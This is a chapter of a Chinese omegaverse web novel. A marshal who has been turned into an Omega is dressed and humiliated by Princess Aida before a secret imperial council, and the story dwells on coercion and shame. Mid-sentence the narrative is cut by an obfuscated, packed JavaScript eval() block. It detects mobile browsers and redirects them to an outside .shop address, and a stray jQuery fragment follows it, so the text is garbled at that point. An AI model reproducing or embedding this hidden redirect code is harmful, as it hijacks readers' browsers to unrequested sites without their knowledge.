8. 围猎
    首都星第一军区医院。十九层。

    卸去镣环之后,艾妲将卫瓷从将军府转移到了他在换腺手术后醒来的那一间病房。对元帅来说,这不过是又一间充满痛苦回忆的囚室。

    “按我们计划的那样,下午在玫瑰堡宫有一场联席会议,出席的有科学院、卫生部、军方、至高法庭……大约有十几个代表。会议全程保密,不对外公开,连书记官都没有。秘书处发来了流程,先是由医院做报告,接着由你陈述性别转换为Omega的原委始末,可能会有一些关于你在荒星遭遇的问询……”医生的手指掠过几片光幕,上面浮显着密密麻麻的文字,“你知道该怎样回答吧,元帅?”

    卫瓷迟缓地抬起头,那明明是一具人类身躯,却仿佛老旧得临近报废的机器人一样,恍惚间能听到生锈扭曲的齿轮嘎吱嘎吱作响。

    “……我明白。”他低声说。

    那一场换腺手术像尘埃般被人抹去,不留一丝痕迹。应被帝国记载的真相是,元帅在出征荒星剿灭星际盗猎者的过程中,遭遇未可名状的第四性别宇宙生物袭击,在这起突发事故中被改造成了Omega。

    在众多编织的谎言中,艾妲为他选择了最为荒诞可笑,最具羞辱意味的一条。

    这一伪造的事实在经过今天的帝国高层联席会议后,将会由官方截取部分向民众通报,卫瓷便能够作为一个合法Omega公开活动。

    “我们都觉得还是仓促了一些。”医生瞥了他一眼,看不出其中是怜悯还是别的,“但殿下认为,考虑到子嗣问题,新生儿必须在合法合规的环境下诞生,以帝国公民的身份顺理成章地被大筛查录入,所以你得尽快完成明面上的性别转换。”

    卫瓷沉默了一会儿,如果这是艾妲想要的,那他愿意做她手中被操控的傀偶。

    这话他没有在医生面前说出来,只是疲惫地闭了闭眼。医生还欲说些什么,病房内响起了代表访客的铃声,大门像水一般向两边流去,她急忙躬身行礼,“殿下。”

    “准备妥当了吗?”艾妲踏进门内,抬手扶了扶发髻,她的腕饰是水晶雕琢的白色荆棘环,在人造太阳生产的阳光下泛着泠泠的光。

    医生向前一步,向她低声做着汇报,艾妲神色冷淡,微微抬起下颌,“可以了,将元帅的军装送过来。”

    片刻后,一具小型机器人滚动着推进来一组衣柜,柜门拉开,里面陈列着一整套属于帝国高级军官的制服,披风、军帽、军靴、手套与金线编织成的腰带放置一旁,元帅被授予的勋章,则被盛放在红色丝绒布上。

    艾妲抱着臂,视线转向病床上的元帅,“你该穿军装出席。”

    她指的是稍后的联席会议,科学院的博士们、各部门的官员们都身着正装,元帅理应装扮得庄重严肃。卫瓷看了一眼这一身承载他曾经荣耀的衣装,望向艾妲的目光中带了一丝恳求,“能不能……不佩戴勋章?”

    成为Omega是元帅人生中前所未有的一场溃败,他的自尊碎裂得所剩无几,麻木得似乎不会再被任何事物刺痛。但穿着元帅礼服,佩戴勋章与绶带,向着帝国高层官员们陈述自己如何耻辱地……被标记、改造成Omega,像是又被残忍地击碎了一次,恐惧与抗拒从心底涌上来,驱使着他作出无力的挣扎。

    然而艾妲的意志从来不可更改,她用手指拾起一块刻着星舰的勋章,摩挲了几下,卫瓷的身体颤了颤,仿佛是自己在她指尖被磋磨,“你不应当这么失礼。”

    艾妲将勋章轻轻一抛,落在卫瓷胸前,“动作快点,别浪费时间。”

    她没有离开的意思,环抱双臂倚在衣柜边,卫瓷在她淡漠的打量中褪去上衣,重新套上浆洗得硬挺的白衬衫,一颗一颗地扣上纽扣,原本量身定制严丝合缝的衬衫隔了月余后上身显得有些空荡。他又穿上制服,披上厚重的披风,恍惚间还能窥见一丝昔日帝国元帅的风姿,只是面色苍白如纸,眼下有深重的乌青。

    换衣期间,卫瓷的手一直在微微发颤,因为艾妲毫不偏移、带着审视的目光,他变得慌乱又笨拙,数次扣错了扣子,腰带也系了三次。那位少女殿下懒散地观赏着这一出闹剧,嘴角微微上翘。

    比起强大的、威严的、战无不胜所向披靡的元帅,愚蠢的、弱势的、一无所有惶恐脆弱的元帅更让人心情愉悦,失去威胁性,被驯养的猛兽才有赏玩价值。

    她看着卫瓷沉默地戴上手套,完成最后一道工序,等待她的检阅。艾妲抚摸着腕上的白荆棘环,露出一个饶有兴味的笑容,她缓慢地褪下自己左手那只有钉珠与刺绣装饰的女士缎面手套,递给元帅,“换这个。”

    卫瓷有些愕然,抬眼却对上艾妲不容置喙的神情,“戴上,别被别人发现了。”

    “……”卫瓷并不理解艾妲的用意,但他在少女面前已被驯养得足够柔顺,故而他小心翼翼地将手指伸进那只女士手套中,艾妲的手相比起他的娇小而纤细,只堪堪遮盖住一半手背。

    那只手套触感柔滑,微凉的缎面贴着肌肤,带着幽微的花香。元帅后知后觉地意识到越界的亲密,腺体不自主地发烫,惶惶地垂下头,不知所措。

    艾妲凑向他的后颈,“下次别再翻箱倒柜了,这个留给你,别露出那种发春的蠢样。”

    元帅的身体猛地一僵。

    “我……对不起,我实在没有办法……”

    巨大的耻意几乎将他淹没,卫瓷浑身止不住地颤抖。

    艾妲知道了,知道他曾不堪地翻遍了每一个房间,试图找到一件沾染她气味的衣物,以此来抚慰他的干渴。

    她太久没有回来过,他渴求Alpha的触摸与爱抚,渴求那股馥郁的花香将他包裹,被本能欲望冲昏了头脑,所以才会那

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055565|149188||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    样冒犯,妄图用她的贴身衣物来纾解。

    卫瓷紧紧攥着拳,那只缎面手套滑腻地裹着他的手指,摩擦间都会带起一阵烫意。元帅无地自容,只能偏过头去,双颊一片潮红,“……对不起。”

    艾妲只是淡漠地瞥了他一眼,话语中听不出任何情绪,“该出发了。”

    -

    玫瑰堡宫。

    这座悬浮在首都星上空的宏伟瑰丽的建筑千年来都不曾更改过模样,一代代执政官消失于星海,而它与银河同存。

    卫瓷乘坐反重力电梯到达议政厅,元帅的脊背依旧直挺,只有缩在袖中的左手透着一丝惶惑,这是他成为Omega以来第一次面对艾妲以外的Alpha,等待他的也并非什么温柔叙旧,而是一场审讯。

    元帅尽力保持着严肃的表情,步入厅内。

    华美的浮雕与壁画之下,是一张巨型圆桌,围绕圆桌的是十二张与审判庭风格相似的高靠背座椅。首都星科学院、卫生部、首都星第一军区医院、新闻部的代表已在其中,他们齐齐地向元帅看来,这些掌握权柄的Alpha嗅觉更敏锐于常人,只一瞬间,便察觉到元帅如今微弱的、属于Omega的信息素气味。

    他们纷纷变换了姿势,面上惊愕与恍然交织,纵然参会前已被秘密告知了元帅性别转换一事,亲眼见到还是难免冲击。

    命运啊,从来变幻莫测。

    曾经被誉为不折钢铁的顶级Alpha,竟然会有这样凄惨的时刻。厚重的披风也无法掩盖那具身躯如今的消瘦单薄,更别提他的面色,看上去比刚生育完的Omega还要虚弱。

    有些人面露同情,而有些人则很快适应现况,从对同僚的打量,变作Alpha对Omega的审视,如果说荒星真的存在那种能把Alpha改造成Omega的怪物,那被怪物侵入的元帅……简直就像是下层贫民区的什么悲惨破烂货一样。

    帝国不会在意Alpha的风流,只会在意Omega的贞洁。已经被标记过的话,那就不剩什么价值了。

    即使你曾经是驰骋星间的帝国元帅又怎样呢?你已经从那个优渥的上层阶级跌落了,当然,耀眼星辰的意外陨落,是悲惨而让人不忍的,但这些廉价的情绪只能维持十秒钟,为帝国工作这么多年,他们比蝮蛇更冷血。

    元帅能感受到那些独属于Alpha的,轻慢、露骨、毫不遮掩的目光,换腺之前,他从未意识到Omega与生俱来的敏感是因何形成的,他人的视线穿透军装,评判着、量化着他能为Alpha提供什么。

    卫瓷在数个Alpha无意识的围猎下,莫名想起了艾妲在手术后对他说过的话,少女的声音冷酷得如同终年不化的坚冰。

    “这就是Omega的人生。元帅,你才刚体验不到一个小时,这种绝望与耻辱已经陪伴了我十九年。”